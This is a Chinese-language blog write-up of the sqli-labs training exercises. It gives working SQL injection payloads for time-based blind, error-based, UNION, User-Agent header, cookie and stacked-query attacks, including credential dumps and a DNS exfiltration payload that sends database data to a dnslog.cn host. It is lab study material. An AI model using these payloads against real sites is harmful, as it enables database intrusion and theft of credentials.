sqli-labs

做题记录存在自己的有道云上,准备挑选后再刷一遍,慢慢更新。

less 9 (单引号时间盲注)

id=1 id=1’没有回显

尝试id=1’ and sleep(5)–+ 5s后显示 (注释符#也是没用的)

id= 1’ and if(length(database())>0,sleep(5),1)–+

id=1’ and if(substr(database(),1,1)>’a’,sleep(5),1)–+

或者

if(ascii(substr(database(),1,1))>64,sleep(5),1)–+ 也是可以的

爆破即可

dnslog注入

id=1‘ and (select load_file(concat(‘\\\\’,(select hex(user())),‘.ho26y3.dnslog.cn/abc’)))--+

对726F6F7440解码即可

less 11(post请求注入)

随便输入账号名ad或者ad”,页面报错,但是输入ad’

发现提示

...e right syntax to use near 'admi' LIMIT 0,1' at line 1

说明是存在字符型注入中的单引号注入的

用order by 尝试后发现存在联合注入的,爆破即可

image-20230523154632755

less 18(http代理)

这个输入admin,admin正确账号,显示User agent信息

抓包,将User-Agent处改为,123’(123,和123”均正常显示),提示如下:

…right syntax to use near ‘127.0.0.1’, ‘admin’)’ at line 1

可以判定是有单引号的闭合

思路1:

123’#试试,提示如下

the right syntax to use near ‘’ at line 1

123’’(两个单引号)试试,页面正常,故认为是闭合了两边的单引号

(这里一定是原码中有两个用到单引号的参数,见如下的uagent和IP)

$insert=”INSERT INTO security.uagents (uagent, ip_address, username) VALUES (‘$uagent’, ‘$IP’, $uname)”;

123' and updatexml(1,concat(0x5e,database()),3) and ' 爆库:

XPATH syntax error: ‘^security’

and替换成or也是可以的

123' and updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) and ' 爆表:

XPATH syntax error: ‘^emails,referers,uagents,users’

123' and updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),3) and ' 爆列:

XPATH syntax error: ‘^id,username,password’

123' and updatexml(1,concat(0x5e,(select group_concat(username,'~',password) from security.users)),3) and '爆security库下users表中的username和password列:

XPATH syntax error: ‘^Dumb133,AngelinaI-kill-you,Du…

思路2:

看样子是两个参数,那就是123‘,2)#试试,提示

Column count doesn’t match value count at row 1

再加一个参数试试,123’,1,2)#,闭合成功。

这里与一般注入不一样,查询方式不是select了,通过源码可以发现是insert语句:

INSERT INTO security.uagents (uagent, ip_address, username) VALUES (‘$uagent’, ‘$IP’, $uname)

所以要闭合VALUES.

利用$uagent,故构建格式,1’,1,1)#

则:

INSERT INTO security.uagents (uagent, ip_address, username) VALUES (‘1’,1,1)#, ‘$IP’, $uname)

即:

INSERT INTO security.uagents (uagent, ip_address, username) VALUES (‘1’,1,1)#

爆库语句:1',1,updatexml(1,concat(0x5e,database()),3))#

XPATH syntax error: ‘^security’

其余语句类似思路1。

less 20 (cookie注入)

思路1:

有一个正确的账号密码登录后,显示了cookie信息

admin’,有报错信息…LIMIT..

注释掉后,即admin’#,页面正常。

Cookie: uname=admin' order by 3#正常,4报错,故有3列

Cookie: uname=-admin' union select 1,database(),3 #联合注入即可。

思路2:

Cookie: uname=-admin' and updatexml(1,concat('!',database()),3)#

嗯,报错注入也是可行的

less 38

id=1’ 报错

id=1’–+回显成功
?id=0' union select 1,user(),database(); insert into users(username,password) values('stack', 'stack')%23

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信